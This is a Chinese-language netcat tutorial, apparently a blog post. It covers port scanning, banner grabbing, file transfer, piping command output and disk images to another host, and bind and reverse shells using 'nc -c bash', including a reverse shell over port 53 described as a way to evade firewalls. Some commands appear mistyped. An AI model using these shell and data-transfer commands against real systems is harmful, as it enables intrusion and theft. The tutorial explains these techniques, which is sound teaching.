netcat 的使用教程

软件准备:

windows访问:netcat 1.11 for Win32/Win64 下载

linux:apt install netcat 

命令格式: nc [-参数] [主机名称] [端口]

参数:nc -h

-c <shell 命令>                   -e 使用/bin/sh 使用

-g <网关>                           设置路由器跃程通信 网关,最多设置8个

-G                                       设置源路由指向器 4.8.12 (为4的倍数)

-h                                        使用帮助

-i                                         发送线路、扫描端口的延迟时间间隔

-k                                        选择保存连接套接字 

-l                                         监听模式,用于管理传入的文件                        

-n                                        只使用ip地址,不使用dns(域名服务器)

-o                                       指定文件名称,把交互传输的数据以16进制保存

-p                                       设置本地端口

-r                                        随机化主机和远程主机的端口

-s                                       设置发出数据包的主机ip地址

-t                                        以IELNET的方式应答入站请求

-u                                       使用UDP传输协议

-v                                       显示工具指令执行过程(两个v可以获得更详细的内容

-w                                      设置等待连线的时间

-z                                      使用零 输入/输出模式  扫描端口时使用

netcat使用

0x01  扫描指定主机端口段的端口开放情况

nc -v -z ip地址 20-1024

0x02   扫描指定主机的某端UDP端口信息

nc -v -z -u ip地址 20-1024

0x03 扫描指定主机的端口信息, 设置超时时间为3秒

nc -v -z  -w 3 ip地址 20-30

0x04 监听本地端口将信息存放到指定文件(确保不会端口冲突)

0x05 Telent/Banner

nc -vn ip地址 110 

0x06 传递文本信息

A主机 (发送字母)   nc -l   -p  6666

B主机 (发送数字) nc -nv 172.16.71.128 6666

这种关系 电子取证的时候可以用 ,当机器被攻击后 为了不破坏现场,需要提出大量的信息和文件出来做分析就可以使用nc的这个机制 例如需要一个命令的输出信息,首先监听一台机器的一个端口,然后被攻击的机器是执行相关的命令,以管道给nc,指定另一台的地址和端口,结果就回输出到另一端

A 主机 nc  -l  -p 6666

B 主机 ls   -l | nc   -nv  172.16.71.130 6666

如果输出内容过多,则可以将内容定向输出的文件中

A 主机 nc -l  -p 6666 > ps.txt 

B 主机 ps -aux | nc - nv 172.16.71.130 6666 

0x07 传输文件和目录<正向>

首先用一台机器监听一个端口,如果有人连接并传来信息时,将信息使用 > 重定向到文件 另一台机器连接目标指定端然后通过 <  输出要传送文件即可

A 主机 nc -lp 6666 > 1.jpg  

B 主机 nc -nv 172.16.71.130 6666 < 1.jpg

反向传输,这个理解一下,因为我和经常用到的正反方向shell 原理一样,原先是我打开端口,等待别人连我,给我传文件,现在是我打开指定端口把文件准备好,等待别人连我,我把文件给他 ,这里着重理解两个重定向符号  < 和  >   > 是将文件进行输出,  < 是将文件进行输入

A主机 nc -q 1 -lp 6666 < 1.jpg

B主机 nc -nv 172.16.71.130 6666 > 1jpg

0x08 :流媒体服务

流媒体类似直播,就是对方把视频通过流的方式进行传输,传输多少,对方会实时播放视频

首先,需要在要传输的文件的机器通过管道(指定的端口)给nc 然后监听一个端口,在接收端,连接端口然后通过管道给 mplayer 进行实时播放,mplayer 默认不安装,需要手动安装(自行百度,其中 vo 参数是选择驱动程序,cache 是每秒要接收的播放帧

A 主机  nc -nv 172.16.71.137 6666 | mplayer -vo x11 -cache 30 - 

B 主机 cat 1.mp4 | nc -lp 172.16.71.137  6666

 0x09: 远程可隆硬盘

对于远程硬盘,在远程电子取证可以用,使用方法需要借助dd 命令 ,首先通过nc 监听一个端口,然后监听一个端口,然后通过 dd 指定要克隆的分区,dd的of 参数相等于一个复制功能,然后再另一台机器通过 nc 连接此端口,dd 的 if 参数相当于粘贴的命令,命令如下:(注:不方便演示)

A 主机 nc -lp 6666 | dd of=/dev/sda

B dd if=/dev/sda | nc -nv 172.16.71.130 -q 1

0x010: 远程控制 / 正反向 shell

 原理与传输信息和传输文件是一样的,只不过传输的是bash,windows 系统的cmd ,正向是目标机器主动指定 bash ,然后通过别人连接自己的端口,别人连接自己,执行的命令的就是自己的机器

A 主机  nc -lp 6666 -c bash/cmd (linux 或windows)

B 主机 nc 172.16.71.129 6666

 通常情况,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某个端口,只有某些指定端口可能会允许访问,例如web服务的80端口,这时正向都shell 就不起作用了,防火墙一般都会禁止外在机器来连接自己的其他端口,单自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向shell 也就是攻击者指定一个端口 和 bash ,让目标服务器来连接自己,这样就可以写一个脚本访问外在的一些端口,这种情况很少见,这时可以指定常见的端口,例如服务器要使用 dns 服务的 53 端口的,这时候自己的就可以监听 53 让目标服务器来连接自己

A 主机 : nc -nv 172.16.71.129 53 -c bash

B 主机:nc -lp 53

0x11: 搭建一个蜜罐(命令入下:注不方便演示)

nc -k -lvp 8888 > mg.txt

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值